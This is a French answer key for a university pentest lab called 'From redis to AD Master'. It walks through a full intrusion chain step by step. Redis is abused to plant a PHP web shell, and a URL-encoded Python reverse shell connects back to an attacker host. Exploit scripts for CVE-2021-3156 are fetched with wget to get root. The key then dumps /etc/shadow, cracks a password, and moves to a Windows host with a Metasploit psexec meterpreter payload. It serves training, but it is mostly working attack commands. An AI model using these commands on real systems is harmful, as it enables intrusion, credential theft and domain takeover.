HEIG-VD

From redis to AD Master

Pentest Lab | CORRIGÉ

Auteur
Bailat Joachim

Professeur
Bost Jean-Marc

12-07-2023

1 Corrigé

1. Lancer un nmap sur le réseau `nmap -Pn -sV 172.22.0.0/16`
2. Remarquer le service redis sur le port 6379
3. Se connecter au service redis avec la commande `redis-cli -h 172.22.100.10`
4. Exécuter les commandes suivantes dans le client redis :

— `config set dir /var/www/html`
— `config set dbfilename command.php`
— `set test "<?php echo system($_GET['cmd']); ?>"`
— `save`

5. Lancer netcat en écoute sur le port 4444 avec la commande depuis la machine attacker`nc -lvp 4444`
6. Lancer la commande `curl http://172.22.100.10/command.php?cmd=python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22172.22.100.9%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22sh%22%29%27` (https://www.revshells.com)
7. Télécharger des scripts de privilège escalation sur la machine cible

— `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`
— `wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check`

8. remarquer qu'il existe 2 versions de sudo sur la machine cible
9. Télécharger un POC pour exploiter la CVE 2021-3156

— `wget https://raw.githubusercontent.com/worawit/CVE-2021-3156/main/exploit_nss.py`

10. Editer le fichier exploit_nss.py pour pour changer le SUDO_PATH en fonction de la version de sudo (`/usr/local/bin/sudo`)
11. Lancer le script python pour obtenir un shell root
12. Lire le contenu du fichier /etc/shadow et remarquer l'utilisateur `jack`.
13. Cracker le hash de l'utilisateur jack avec john et la wordlist rockyou.
14. Réutiliser les identifiants trouvés pour obtenir un shell sur la machine windows avec msfconsole

— `use exploit/windows/smb/psexec`

- `set RHOSTS 172.22.200.9`
- `set SMBUser jack`
- `set SMBPass 1q2w3e4r5t`
- `set SMBDomain SOS.local`
- `set payload windows/x64/meterpreter/reverse_tcp`
- `set LHOST 172.22.100.9`
- `set SMBSHARE C$`
- `exploit`

15. A partir de la on arrive dans le labo “win_lab” et on peut éxécuter les mêmes étapes pour devenir maitre du domaine.